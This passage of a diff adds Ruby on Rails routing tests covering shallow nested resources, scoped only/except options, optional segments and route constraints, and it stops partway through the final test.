+  def test_url_generator_for_namespaced_generic_route
+    draw do
+      ActiveSupport::Deprecation.silence do
+        get "whatever/:controller(/:action(/:id))", id: /\d+/
+      end
+    end
+
+    get "/whatever/foo/bar/show"
+    assert_equal "foo/bar#show", @response.body
+
+    get "/whatever/foo/bar/show/1"
+    assert_equal "foo/bar#show", @response.body
+
+    assert_equal "http://www.example.com/whatever/foo/bar/show",
+      url_for(controller: "foo/bar", action: "show")
+
+    assert_equal "http://www.example.com/whatever/foo/bar/show/1",
+      url_for(controller: "foo/bar", action: "show", id: "1")
+  end
+
+  def test_resource_new_actions
+    draw do
+      resources :replies do
+        new do
+          post :preview
+        end
+      end
+
+      scope "pt", as: "pt" do
+        resources :projects, path_names: { new: "novo" }, path: "projetos" do
+          post :preview, on: :new
+        end
+
+        resource :admin, path_names: { new: "novo" }, path: "administrador" do
+          post :preview, on: :new
+        end
+
+        resources :products, path_names: { new: "novo" } do
+          new do
+            post :preview
+          end
+        end
+      end
+
+      resource :profile do
+        new do
+          post :preview
+        end
+      end
+    end
+
+    assert_equal "/replies/new/preview", preview_new_reply_path
+    assert_equal "/pt/projetos/novo/preview", preview_new_pt_project_path
+    assert_equal "/pt/administrador/novo/preview", preview_new_pt_admin_path
+    assert_equal "/pt/products/novo/preview", preview_new_pt_product_path
+    assert_equal "/profile/new/preview", preview_new_profile_path
+
+    post "/replies/new/preview"
+    assert_equal "replies#preview", @response.body
+
+    post "/pt/projetos/novo/preview"
+    assert_equal "projects#preview", @response.body
+
+    post "/pt/administrador/novo/preview"
+    assert_equal "admins#preview", @response.body
+
+    post "/pt/products/novo/preview"
+    assert_equal "products#preview", @response.body
+
+    post "/profile/new/preview"
+    assert_equal "profiles#preview", @response.body
+  end
+
+  def test_resource_merges_options_from_scope
+    draw do
+      scope only: :show do
+        resource :account
+      end
+    end
+
+    assert_raise(NoMethodError) { new_account_path }
+
+    get "/account/new"
+    assert_equal 404, status
+  end
+
+  def test_resources_merges_options_from_scope
+    draw do
+      scope only: [:index, :show] do
+        resources :products do
+          resources :images
+        end
+      end
+    end
+
+    assert_raise(NoMethodError) { edit_product_path("1") }
+
+    get "/products/1/edit"
+    assert_equal 404, status
+
+    assert_raise(NoMethodError) { edit_product_image_path("1", "2") }
+
+    post "/products/1/images/2/edit"
+    assert_equal 404, status
+  end
+
+  def test_shallow_nested_resources
+    draw do
+      shallow do
+        namespace :api do
+          resources :teams do
+            resources :players
+            resource :captain
+          end
+        end
+      end
+
+      resources :threads, shallow: true do
+        resource :owner
+        resources :messages do
+          resources :comments do
+            member do
+              post :preview
+            end
+          end
+        end
+      end
+    end
+
+    get "/api/teams"
+    assert_equal "api/teams#index", @response.body
+    assert_equal "/api/teams", api_teams_path
+
+    get "/api/teams/new"
+    assert_equal "api/teams#new", @response.body
+    assert_equal "/api/teams/new", new_api_team_path
+
+    get "/api/teams/1"
+    assert_equal "api/teams#show", @response.body
+    assert_equal "/api/teams/1", api_team_path(id: "1")
+
+    get "/api/teams/1/edit"
+    assert_equal "api/teams#edit", @response.body
+    assert_equal "/api/teams/1/edit", edit_api_team_path(id: "1")
+
+    get "/api/teams/1/players"
+    assert_equal "api/players#index", @response.body
+    assert_equal "/api/teams/1/players", api_team_players_path(team_id: "1")
+
+    get "/api/teams/1/players/new"
+    assert_equal "api/players#new", @response.body
+    assert_equal "/api/teams/1/players/new", new_api_team_player_path(team_id: "1")
+
+    get "/api/players/2"
+    assert_equal "api/players#show", @response.body
+    assert_equal "/api/players/2", api_player_path(id: "2")
+
+    get "/api/players/2/edit"
+    assert_equal "api/players#edit", @response.body
+    assert_equal "/api/players/2/edit", edit_api_player_path(id: "2")
+
+    get "/api/teams/1/captain"
+    assert_equal "api/captains#show", @response.body
+    assert_equal "/api/teams/1/captain", api_team_captain_path(team_id: "1")
+
+    get "/api/teams/1/captain/new"
+    assert_equal "api/captains#new", @response.body
+    assert_equal "/api/teams/1/captain/new", new_api_team_captain_path(team_id: "1")
+
+    get "/api/teams/1/captain/edit"
+    assert_equal "api/captains#edit", @response.body
+    assert_equal "/api/teams/1/captain/edit", edit_api_team_captain_path(team_id: "1")
+
+    get "/threads"
+    assert_equal "threads#index", @response.body
+    assert_equal "/threads", threads_path
+
+    get "/threads/new"
+    assert_equal "threads#new", @response.body
+    assert_equal "/threads/new", new_thread_path
+
+    get "/threads/1"
+    assert_equal "threads#show", @response.body
+    assert_equal "/threads/1", thread_path(id: "1")
+
+    get "/threads/1/edit"
+    assert_equal "threads#edit", @response.body
+    assert_equal "/threads/1/edit", edit_thread_path(id: "1")
+
+    get "/threads/1/owner"
+    assert_equal "owners#show", @response.body
+    assert_equal "/threads/1/owner", thread_owner_path(thread_id: "1")
+
+    get "/threads/1/messages"
+    assert_equal "messages#index", @response.body
+    assert_equal "/threads/1/messages", thread_messages_path(thread_id: "1")
+
+    get "/threads/1/messages/new"
+    assert_equal "messages#new", @response.body
+    assert_equal "/threads/1/messages/new", new_thread_message_path(thread_id: "1")
+
+    get "/messages/2"
+    assert_equal "messages#show", @response.body
+    assert_equal "/messages/2", message_path(id: "2")
+
+    get "/messages/2/edit"
+    assert_equal "messages#edit", @response.body
+    assert_equal "/messages/2/edit", edit_message_path(id: "2")
+
+    get "/messages/2/comments"
+    assert_equal "comments#index", @response.body
+    assert_equal "/messages/2/comments", message_comments_path(message_id: "2")
+
+    get "/messages/2/comments/new"
+    assert_equal "comments#new", @response.body
+    assert_equal "/messages/2/comments/new", new_message_comment_path(message_id: "2")
+
+    get "/comments/3"
+    assert_equal "comments#show", @response.body
+    assert_equal "/comments/3", comment_path(id: "3")
+
+    get "/comments/3/edit"
+    assert_equal "comments#edit", @response.body
+    assert_equal "/comments/3/edit", edit_comment_path(id: "3")
+
+    post "/comments/3/preview"
+    assert_equal "comments#preview", @response.body
+    assert_equal "/comments/3/preview", preview_comment_path(id: "3")
+  end
+
+  def test_shallow_nested_resources_inside_resource
+    draw do
+      resource :membership, shallow: true do
+        resources :cards
+      end
+    end
+
+    get "/membership/cards"
+    assert_equal "cards#index", @response.body
+    assert_equal "/membership/cards", membership_cards_path
+
+    get "/membership/cards/new"
+    assert_equal "cards#new", @response.body
+    assert_equal "/membership/cards/new", new_membership_card_path
+
+    post "/membership/cards"
+    assert_equal "cards#create", @response.body
+
+    get "/cards/1"
+    assert_equal "cards#show", @response.body
+    assert_equal "/cards/1", card_path("1")
+
+    get "/cards/1/edit"
+    assert_equal "cards#edit", @response.body
+    assert_equal "/cards/1/edit", edit_card_path("1")
+
+    put "/cards/1"
+    assert_equal "cards#update", @response.body
+
+    patch "/cards/1"
+    assert_equal "cards#update", @response.body
+
+    delete "/cards/1"
+    assert_equal "cards#destroy", @response.body
+  end
+
+  def test_shallow_deeply_nested_resources
+    draw do
+      resources :blogs do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    get "/comments/1"
+    assert_equal "comments#show", @response.body
+
+    assert_equal "/comments/1", comment_path("1")
+    assert_equal "/blogs/new", new_blog_path
+    assert_equal "/blogs/1/posts/new", new_blog_post_path(blog_id: 1)
+    assert_equal "/blogs/1/posts/2/comments/new", new_blog_post_comment_path(blog_id: 1, post_id: 2)
+  end
+
+  def test_direct_children_of_shallow_resources
+    draw do
+      resources :blogs do
+        resources :posts, shallow: true do
+          resources :comments
+        end
+      end
+    end
+
+    post "/posts/1/comments"
+    assert_equal "comments#create", @response.body
+    assert_equal "/posts/1/comments", post_comments_path("1")
+
+    get "/posts/2/comments/new"
+    assert_equal "comments#new", @response.body
+    assert_equal "/posts/2/comments/new", new_post_comment_path("2")
+
+    get "/posts/1/comments"
+    assert_equal "comments#index", @response.body
+    assert_equal "/posts/1/comments", post_comments_path("1")
+  end
+
+  def test_shallow_nested_resources_within_scope
+    draw do
+      scope "/hello" do
+        shallow do
+          resources :notes do
+            resources :trackbacks
+          end
+        end
+      end
+    end
+
+    get "/hello/notes/1/trackbacks"
+    assert_equal "trackbacks#index", @response.body
+    assert_equal "/hello/notes/1/trackbacks", note_trackbacks_path(note_id: 1)
+
+    get "/hello/notes/1/edit"
+    assert_equal "notes#edit", @response.body
+    assert_equal "/hello/notes/1/edit", edit_note_path(id: "1")
+
+    get "/hello/notes/1/trackbacks/new"
+    assert_equal "trackbacks#new", @response.body
+    assert_equal "/hello/notes/1/trackbacks/new", new_note_trackback_path(note_id: 1)
+
+    get "/hello/trackbacks/1"
+    assert_equal "trackbacks#show", @response.body
+    assert_equal "/hello/trackbacks/1", trackback_path(id: "1")
+
+    get "/hello/trackbacks/1/edit"
+    assert_equal "trackbacks#edit", @response.body
+    assert_equal "/hello/trackbacks/1/edit", edit_trackback_path(id: "1")
+
+    put "/hello/trackbacks/1"
+    assert_equal "trackbacks#update", @response.body
+
+    post "/hello/notes/1/trackbacks"
+    assert_equal "trackbacks#create", @response.body
+
+    delete "/hello/trackbacks/1"
+    assert_equal "trackbacks#destroy", @response.body
+
+    get "/hello/notes"
+    assert_equal "notes#index", @response.body
+
+    post "/hello/notes"
+    assert_equal "notes#create", @response.body
+
+    get "/hello/notes/new"
+    assert_equal "notes#new", @response.body
+    assert_equal "/hello/notes/new", new_note_path
+
+    get "/hello/notes/1"
+    assert_equal "notes#show", @response.body
+    assert_equal "/hello/notes/1", note_path(id: 1)
+
+    put "/hello/notes/1"
+    assert_equal "notes#update", @response.body
+
+    delete "/hello/notes/1"
+    assert_equal "notes#destroy", @response.body
+  end
+
+  def test_shallow_option_nested_resources_within_scope
+    draw do
+      scope "/hello" do
+        resources :notes, shallow: true do
+          resources :trackbacks
+        end
+      end
+    end
+
+    get "/hello/notes/1/trackbacks"
+    assert_equal "trackbacks#index", @response.body
+    assert_equal "/hello/notes/1/trackbacks", note_trackbacks_path(note_id: 1)
+
+    get "/hello/notes/1/edit"
+    assert_equal "notes#edit", @response.body
+    assert_equal "/hello/notes/1/edit", edit_note_path(id: "1")
+
+    get "/hello/notes/1/trackbacks/new"
+    assert_equal "trackbacks#new", @response.body
+    assert_equal "/hello/notes/1/trackbacks/new", new_note_trackback_path(note_id: 1)
+
+    get "/hello/trackbacks/1"
+    assert_equal "trackbacks#show", @response.body
+    assert_equal "/hello/trackbacks/1", trackback_path(id: "1")
+
+    get "/hello/trackbacks/1/edit"
+    assert_equal "trackbacks#edit", @response.body
+    assert_equal "/hello/trackbacks/1/edit", edit_trackback_path(id: "1")
+
+    put "/hello/trackbacks/1"
+    assert_equal "trackbacks#update", @response.body
+
+    post "/hello/notes/1/trackbacks"
+    assert_equal "trackbacks#create", @response.body
+
+    delete "/hello/trackbacks/1"
+    assert_equal "trackbacks#destroy", @response.body
+
+    get "/hello/notes"
+    assert_equal "notes#index", @response.body
+
+    post "/hello/notes"
+    assert_equal "notes#create", @response.body
+
+    get "/hello/notes/new"
+    assert_equal "notes#new", @response.body
+    assert_equal "/hello/notes/new", new_note_path
+
+    get "/hello/notes/1"
+    assert_equal "notes#show", @response.body
+    assert_equal "/hello/notes/1", note_path(id: 1)
+
+    put "/hello/notes/1"
+    assert_equal "notes#update", @response.body
+
+    delete "/hello/notes/1"
+    assert_equal "notes#destroy", @response.body
+  end
+
+  def test_custom_resource_routes_are_scoped
+    draw do
+      resources :customers do
+        get :recent, on: :collection
+        get "profile", on: :member
+        get "secret/profile" => "customers#secret", :on => :member
+        post "preview" => "customers#preview", :as => :another_preview, :on => :new
+        resource :avatar do
+          get "thumbnail" => "avatars#thumbnail", :as => :thumbnail, :on => :member
+        end
+        resources :invoices do
+          get "outstanding" => "invoices#outstanding", :on => :collection
+          get "overdue", action: :overdue, on: :collection
+          get "print" => "invoices#print", :as => :print, :on => :member
+          post "preview" => "invoices#preview", :as => :preview, :on => :new
+        end
+        resources :notes, shallow: true do
+          get "preview" => "notes#preview", :as => :preview, :on => :new
+          get "print" => "notes#print", :as => :print, :on => :member
+        end
+      end
+
+      namespace :api do
+        resources :customers do
+          get "recent" => "customers#recent", :as => :recent, :on => :collection
+          get "profile" => "customers#profile", :as => :profile, :on => :member
+          post "preview" => "customers#preview", :as => :preview, :on => :new
+        end
+      end
+    end
+
+    assert_equal "/customers/recent", recent_customers_path
+    assert_equal "/customers/1/profile", profile_customer_path(id: "1")
+    assert_equal "/customers/1/secret/profile", secret_profile_customer_path(id: "1")
+    assert_equal "/customers/new/preview", another_preview_new_customer_path
+    assert_equal "/customers/1/avatar/thumbnail.jpg", thumbnail_customer_avatar_path(customer_id: "1", format: :jpg)
+    assert_equal "/customers/1/invoices/outstanding", outstanding_customer_invoices_path(customer_id: "1")
+    assert_equal "/customers/1/invoices/2/print", print_customer_invoice_path(customer_id: "1", id: "2")
+    assert_equal "/customers/1/invoices/new/preview", preview_new_customer_invoice_path(customer_id: "1")
+    assert_equal "/customers/1/notes/new/preview", preview_new_customer_note_path(customer_id: "1")
+    assert_equal "/notes/1/print", print_note_path(id: "1")
+    assert_equal "/api/customers/recent", recent_api_customers_path
+    assert_equal "/api/customers/1/profile", profile_api_customer_path(id: "1")
+    assert_equal "/api/customers/new/preview", preview_new_api_customer_path
+
+    get "/customers/1/invoices/overdue"
+    assert_equal "invoices#overdue", @response.body
+
+    get "/customers/1/secret/profile"
+    assert_equal "customers#secret", @response.body
+  end
+
+  def test_shallow_nested_routes_ignore_module
+    draw do
+      scope module: :api do
+        resources :errors, shallow: true do
+          resources :notices
+        end
+      end
+    end
+
+    get "/errors/1/notices"
+    assert_equal "api/notices#index", @response.body
+    assert_equal "/errors/1/notices", error_notices_path(error_id: "1")
+
+    get "/notices/1"
+    assert_equal "api/notices#show", @response.body
+    assert_equal "/notices/1", notice_path(id: "1")
+  end
+
+  def test_non_greedy_regexp
+    draw do
+      namespace :api do
+        scope(":version", version: /.+/) do
+          resources :users, id: /.+?/, format: /json|xml/
+        end
+      end
+    end
+
+    get "/api/1.0/users"
+    assert_equal "api/users#index", @response.body
+    assert_equal "/api/1.0/users", api_users_path(version: "1.0")
+
+    get "/api/1.0/users.json"
+    assert_equal "api/users#index", @response.body
+    assert_equal true, @request.format.json?
+    assert_equal "/api/1.0/users.json", api_users_path(version: "1.0", format: :json)
+
+    get "/api/1.0/users/first.last"
+    assert_equal "api/users#show", @response.body
+    assert_equal "first.last", @request.params[:id]
+    assert_equal "/api/1.0/users/first.last", api_user_path(version: "1.0", id: "first.last")
+
+    get "/api/1.0/users/first.last.xml"
+    assert_equal "api/users#show", @response.body
+    assert_equal "first.last", @request.params[:id]
+    assert_equal true, @request.format.xml?
+    assert_equal "/api/1.0/users/first.last.xml", api_user_path(version: "1.0", id: "first.last", format: :xml)
+  end
+
+  def test_match_without_via
+    assert_raises(ArgumentError) do
+      draw do
+        match "/foo/bar", to: "files#show"
+      end
+    end
+  end
+
+  def test_match_with_empty_via
+    assert_raises(ArgumentError) do
+      draw do
+        match "/foo/bar", to: "files#show", via: []
+      end
+    end
+  end
+
+  def test_glob_parameter_accepts_regexp
+    draw do
+      get "/:locale/*file.:format", to: "files#show", file: /path\/to\/existing\/file/
+    end
+
+    get "/en/path/to/existing/file.html"
+    assert_equal 200, @response.status
+  end
+
+  def test_resources_controller_name_is_not_pluralized
+    draw do
+      resources :content
+    end
+
+    get "/content"
+    assert_equal "content#index", @response.body
+  end
+
+  def test_url_generator_for_optional_prefix_dynamic_segment
+    draw do
+      get "(/:username)/followers" => "followers#index"
+    end
+
+    get "/bob/followers"
+    assert_equal "followers#index", @response.body
+    assert_equal "http://www.example.com/bob/followers",
+      url_for(controller: "followers", action: "index", username: "bob")
+
+    get "/followers"
+    assert_equal "followers#index", @response.body
+    assert_equal "http://www.example.com/followers",
+      url_for(controller: "followers", action: "index", username: nil)
+  end
+
+  def test_url_generator_for_optional_suffix_static_and_dynamic_segment
+    draw do
+      get "/groups(/user/:username)" => "groups#index"
+    end
+
+    get "/groups/user/bob"
+    assert_equal "groups#index", @response.body
+    assert_equal "http://www.example.com/groups/user/bob",
+      url_for(controller: "groups", action: "index", username: "bob")
+
+    get "/groups"
+    assert_equal "groups#index", @response.body
+    assert_equal "http://www.example.com/groups",
+      url_for(controller: "groups", action: "index", username: nil)
+  end
+
+  def test_url_generator_for_optional_prefix_static_and_dynamic_segment
+    draw do
+      get "(/user/:username)/photos" => "photos#index"
+    end
+
+    get "/user/bob/photos"
+    assert_equal "photos#index", @response.body
+    assert_equal "http://www.example.com/user/bob/photos",
+      url_for(controller: "photos", action: "index", username: "bob")
+
+    get "/photos"
+    assert_equal "photos#index", @response.body
+    assert_equal "http://www.example.com/photos",
+      url_for(controller: "photos", action: "index", username: nil)
+  end
+
+  def test_url_recognition_for_optional_static_segments
+    draw do
+      scope "(groups)" do
+        scope "(discussions)" do
+          resources :messages
+        end
+      end
+    end
+
+    get "/groups/discussions/messages"
+    assert_equal "messages#index", @response.body
+
+    get "/groups/discussions/messages/1"
+    assert_equal "messages#show", @response.body
+
+    get "/groups/messages"
+    assert_equal "messages#index", @response.body
+
+    get "/groups/messages/1"
+    assert_equal "messages#show", @response.body
+
+    get "/discussions/messages"
+    assert_equal "messages#index", @response.body
+
+    get "/discussions/messages/1"
+    assert_equal "messages#show", @response.body
+
+    get "/messages"
+    assert_equal "messages#index", @response.body
+
+    get "/messages/1"
+    assert_equal "messages#show", @response.body
+  end
+
+  def test_router_removes_invalid_conditions
+    draw do
+      scope constraints: { id: /\d+/ } do
+        get "/tickets", to: "tickets#index", as: :tickets
+      end
+    end
+
+    get "/tickets"
+    assert_equal "tickets#index", @response.body
+    assert_equal "/tickets", tickets_path
+  end
+
+  def test_constraints_are_merged_from_scope
+    draw do
+      scope constraints: { id: /\d{4}/ } do
+        resources :movies do
+          resources :reviews
+          resource :trailer
+        end
+      end
+    end
+
+    get "/movies/0001"
+    assert_equal "movies#show", @response.body
+    assert_equal "/movies/0001", movie_path(id: "0001")
+
+    get "/movies/00001"
+    assert_equal "Not Found", @response.body
+    assert_raises(ActionController::UrlGenerationError) { movie_path(id: "00001") }
+
+    get "/movies/0001/reviews"
+    assert_equal "reviews#index", @response.body
+    assert_equal "/movies/0001/reviews", movie_reviews_path(movie_id: "0001")
+
+    get "/movies/00001/reviews"
+    assert_equal "Not Found", @response.body
+    assert_raises(ActionController::UrlGenerationError) { movie_reviews_path(movie_id: "00001") }
+
+    get "/movies/0001/reviews/0001"
+    assert_equal "reviews#show", @response.body
+    assert_equal "/movies/0001/reviews/0001", movie_review_path(movie_id: "0001", id: "0001")
+
+    get "/movies/00001/reviews/0001"
+    assert_equal "Not Found", @response.body
+    assert_raises(ActionController::UrlGenerationError) { movie_path(movie_id: "00001", id: "00001") }
+
+    get "/movies/0001/trailer"
+    assert_equal "trailers#show", @response.body
+    assert_equal "/movies/0001/trailer", movie_trailer_path(movie_id: "0001")
+
+    get "/movies/00001/trailer"
+    assert_equal "Not Found", @response.body
+    assert_raises(ActionController::UrlGenerationError) { movie_trailer_path(movie_id: "00001") }
+  end
+
+  def test_only_should_be_read_from_scope
+    draw do
+      scope only: [:index, :show] do
+        namespace :only do
+          resources :clubs do
+            resources :players
+            resource  :chairman
+          end
+        end
+      end
+    end
+
+    get "/only/clubs"
+    assert_equal "only/clubs#index", @response.body
+    assert_equal "/only/clubs", only_clubs_path
+
+    get "/only/clubs/1/edit"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { edit_only_club_path(id: "1") }
+
+    get "/only/clubs/1/players"
+    assert_equal "only/players#index", @response.body
+    assert_equal "/only/clubs/1/players", only_club_players_path(club_id: "1")
+
+    get "/only/clubs/1/players/2/edit"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { edit_only_club_player_path(club_id: "1", id: "2") }
+
+    get "/only/clubs/1/chairman"
+    assert_equal "only/chairmen#show", @response.body
+    assert_equal "/only/clubs/1/chairman", only_club_chairman_path(club_id: "1")
+
+    get "/only/clubs/1/chairman/edit"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { edit_only_club_chairman_path(club_id: "1") }
+  end
+
+  def test_except_should_be_read_from_scope
+    draw do
+      scope except: [:new, :create, :edit, :update, :destroy] do
+        namespace :except do
+          resources :clubs do
+            resources :players
+            resource  :chairman
+          end
+        end
+      end
+    end
+
+    get "/except/clubs"
+    assert_equal "except/clubs#index", @response.body
+    assert_equal "/except/clubs", except_clubs_path
+
+    get "/except/clubs/1/edit"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { edit_except_club_path(id: "1") }
+
+    get "/except/clubs/1/players"
+    assert_equal "except/players#index", @response.body
+    assert_equal "/except/clubs/1/players", except_club_players_path(club_id: "1")
+
+    get "/except/clubs/1/players/2/edit"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { edit_except_club_player_path(club_id: "1", id: "2") }
+
+    get "/except/clubs/1/chairman"
+    assert_equal "except/chairmen#show", @response.body
+    assert_equal "/except/clubs/1/chairman", except_club_chairman_path(club_id: "1")
+
+    get "/except/clubs/1/chairman/edit"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { edit_except_club_chairman_path(club_id: "1") }
+  end
+
+  def test_only_option_should_override_scope
+    draw do
+      scope only: :show do
+        namespace :only do
+          resources :sectors, only: :index
+        end
+      end
+    end
+
+    get "/only/sectors"
+    assert_equal "only/sectors#index", @response.body
+    assert_equal "/only/sectors", only_sectors_path
+
+    get "/only/sectors/1"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { only_sector_path(id: "1") }
+  end
+
+  def test_only_option_should_not_inherit
+    draw do
+      scope only: :show do
+        namespace :only do
+          resources :sectors, only: :index do
+            resources :companies
+            resource  :leader
+          end
+        end
+      end
+    end
+
+    get "/only/sectors/1/companies/2"
+    assert_equal "only/companies#show", @response.body
+    assert_equal "/only/sectors/1/companies/2", only_sector_company_path(sector_id: "1", id: "2")
+
+    get "/only/sectors/1/leader"
+    assert_equal "only/leaders#show", @response.body
+    assert_equal "/only/sectors/1/leader", only_sector_leader_path(sector_id: "1")
+  end
+
+  def test_except_option_should_override_scope
+    draw do
+      scope except: :index do
+        namespace :except do
+          resources :sectors, except: [:show, :update, :destroy]
+        end
+      end
+    end
+
+    get "/except/sectors"
+    assert_equal "except/sectors#index", @response.body
+    assert_equal "/except/sectors", except_sectors_path
+
+    get "/except/sectors/1"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { except_sector_path(id: "1") }
+  end
+
+  def test_except_option_should_not_inherit
+    draw do
+      scope except: :index do
+        namespace :except do
+          resources :sectors, except: [:show, :update, :destroy] do
+            resources :companies
+            resource  :leader
+          end
+        end
+      end
+    end
+
+    get "/except/sectors/1/companies/2"
+    assert_equal "except/companies#show", @response.body
+    assert_equal "/except/sectors/1/companies/2", except_sector_company_path(sector_id: "1", id: "2")
+
+    get "/except/sectors/1/leader"
+    assert_equal "except/leaders#show", @response.body
+    assert_equal "/except/sectors/1/leader", except_sector_leader_path(sector_id: "1")
+  end
+
+  def test_except_option_should_override_scoped_only
+    draw do
+      scope only: :show do
+        namespace :only do
+          resources :sectors, only: :index do
+            resources :managers, except: [:show, :update, :destroy]
+          end
+        end
+      end
+    end
+
+    get "/only/sectors/1/managers"
+    assert_equal "only/managers#index", @response.body
+    assert_equal "/only/sectors/1/managers", only_sector_managers_path(sector_id: "1")
+
+    get "/only/sectors/1/managers/2"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { only_sector_manager_path(sector_id: "1", id: "2") }
+  end
+
+  def test_only_option_should_override_scoped_except
+    draw do
+      scope except: :index do
+        namespace :except do
+          resources :sectors, except: [:show, :update, :destroy] do
+            resources :managers, only: :index
+          end
+        end
+      end
+    end
+
+    get "/except/sectors/1/managers"
+    assert_equal "except/managers#index", @response.body
+    assert_equal "/except/sectors/1/managers", except_sector_managers_path(sector_id: "1")
+
+    get "/except/sectors/1/managers/2"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { except_sector_manager_path(sector_id: "1", id: "2") }
+  end
+
+  def test_only_scope_should_override_parent_scope
+    draw do
+      scope only: :show do
+        namespace :only do
+          resources :sectors, only: :index do
+            resources :companies do
+              scope only: :index do
+                resources :divisions
+              end
+            end
+          end
+        end
+      end
+    end
+
+    get "/only/sectors/1/companies/2/divisions"
+    assert_equal "only/divisions#index", @response.body
+    assert_equal "/only/sectors/1/companies/2/divisions", only_sector_company_divisions_path(sector_id: "1", company_id: "2")
+
+    get "/only/sectors/1/companies/2/divisions/3"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { only_sector_company_division_path(sector_id: "1", company_id: "2", id: "3") }
+  end
+
+  def test_except_scope_should_override_parent_scope
+    draw do
+      scope except: :index do
+        namespace :except do
+          resources :sectors, except: [:show, :update, :destroy] do
+            resources :companies do
+              scope except: [:show, :update, :destroy] do
+                resources :divisions
+              end
+            end
+          end
+        end
+      end
+    end
+
+    get "/except/sectors/1/companies/2/divisions"
+    assert_equal "except/divisions#index", @response.body
+    assert_equal "/except/sectors/1/companies/2/divisions", except_sector_company_divisions_path(sector_id: "1", company_id: "2")
+
+    get "/except/sectors/1/companies/2/divisions/3"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { except_sector_company_division_path(sector_id: "1", company_id: "2", id: "3") }
+  end
+
+  def test_except_scope_should_override_parent_only_scope
+    draw do
+      scope only: :show do
+        namespace :only do
+          resources :sectors, only: :index do
+            resources :companies do
+              scope except: [:show, :update, :destroy] do
+                resources :departments
+              end
+            end
+          end
+        end
+      end
+    end
+
+    get "/only/sectors/1/companies/2/departments"
+    assert_equal "only/departments#index", @response.body
+    assert_equal "/only/sectors/1/companies/2/departments", only_sector_company_departments_path(sector_id: "1", company_id: "2")
+
+    get "/only/sectors/1/companies/2/departments/3"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { only_sector_company_department_path(sector_id: "1", company_id: "2", id: "3") }
+  end
+
+  def test_only_scope_should_override_parent_except_scope
+    draw do
+      scope except: :index do
+        namespace :except do
+          resources :sectors, except: [:show, :update, :destroy] do
+            resources :companies do
+              scope only: :index do
+                resources :departments
+              end
+            end
+          end
+        end
+      end
+    end
+
+    get "/except/sectors/1/companies/2/departments"
+    assert_equal "except/departments#index", @response.body
+    assert_equal "/except/sectors/1/companies/2/departments", except_sector_company_departments_path(sector_id: "1", company_id: "2")
+
+    get "/except/sectors/1/companies/2/departments/3"
+    assert_equal "Not Found", @response.body
+    assert_raise(NoMethodError) { except_sector_company_department_path(sector_id: "1", company_id: "2", id: "3") }
+  end
+
+  def test_resources_are_not_pluralized
+    draw do
+      namespace :transport do
+        resources :taxis
+      end
+    end
+
+    get "/transport/taxis"
+    assert_equal "transport/taxis#index", @response.body
+    assert_equal "/transport/taxis", transport_taxis_path
+
+    get "/transport/taxis/new"
+    assert_equal "transport/taxis#new", @response.body
+    assert_equal "/transport/taxis/new", new_transport_taxi_path
+
+    post "/transport/taxis"
+    assert_equal "transport/taxis#create", @response.body
+
+    get "/transport/taxis/1"
+    assert_equal "transport/taxis#show", @response.body
+    assert_equal "/transport/taxis/1", transport_taxi_path(id: "1")
+
+    get "/transport/taxis/1/edit"
+    assert_equal "transport/taxis#edit", @response.body
+    assert_equal "/transport/taxis/1/edit", edit_transport_taxi_path(id: "1")
+
+    put "/transport/taxis/1"
+    assert_equal "transport/taxis#update", @response.body
+
+    delete "/transport/taxis/1"
+    assert_equal "transport/taxis#destroy", @response.body
+  end
+
+  def test_singleton_resources_are_not_singularized
+    draw do
+      namespace :medical do
+        resource :taxis
+      end
+    end
+
+    get "/medical/taxis/new"
+    assert_equal "medical/taxis#new", @response.body
+    assert_equal "/medical/taxis/new", new_medical_taxis_path
+
+    post "/medical/taxis"
+    assert_equal "medical/taxis#create", @response.body
+
+    get "/medical/taxis"
+    assert_equal "medical/taxis#show", @response.body
+    assert_equal "/medical/taxis", medical_taxis_path
+
+    get "/medical/taxis/edit"
+    assert_equal "medical/taxis#edit", @response.body
+    assert_equal "/medical/taxis/edit", edit_medical_taxis_path
+
+    put "/medical/taxis"
+    assert_equal "medical/taxis#update", @response.body
+
+    delete "/medical/taxis"
+    assert_equal "medical/taxis#destroy", @response.body
+  end
+
+  def test_greedy_resource_id_regexp_doesnt_match_edit_and_custom_action
+    draw do
+      resources :sections, id: /.+/ do
+        get :preview, on: :member
+      end
+    end
+
+    get "/sections/1/edit"
+    assert_equal "sections#edit", @response.body
+    assert_equal "/sections/1/edit", edit_section_path(id: "1")
+
+    get "/sections/1/preview"
+    assert_equal "sections#preview", @response.body
+    assert_equal "/sections/1/preview", preview_section_path(id: "1")
+  end
+
+  def test_resource_constraints_are_pushed_to_scope
+    draw do
+      namespace :wiki do
+        resources :articles, id: /[^\/]+/ do
+          resources :comments, only: [:create, :new]
+        end
+      end
+    end
+
+    get "/wiki/articles/Ruby_on_Rails_3.0"
+    assert_equal "wiki/articles#show", @response.body
+    assert_equal "/wiki/articles/Ruby_on_Rails_3.0", wiki_article_path(id: "Ruby_on_Rails_3.0")
+
+    get "/wiki/articles/Ruby_on_Rails_3.0/comments/new"
+    assert_equal "wiki/comments#new", @response.body
+    assert_equal "/wiki/articles/Ruby_on_Rails_3.0/comments/new", new_wiki_article_comment_path(article_id: "Ruby_on_Rails_3.0")
+
+    post "/wiki/articles/Ruby_on_Rails_3.0/comments"
+    assert_equal "wiki/comments#create", @response.body
+    assert_equal "/wiki/articles/Ruby_on_Rails_3.0/comments", wiki_article_comments_path(article_id: "Ruby_on_Rails_3.0")
+  end
+
+  def test_resources_path_can_be_a_symbol
+    draw do
+      resources :wiki_pages, path: :pages
+      resource :wiki_account, path: :my_account
+    end
+
+    get "/pages"
+    assert_equal "wiki_pages#index", @response.body
+    assert_equal "/pages", wiki_pages_path
+
+    get "/pages/Ruby_on_Rails"
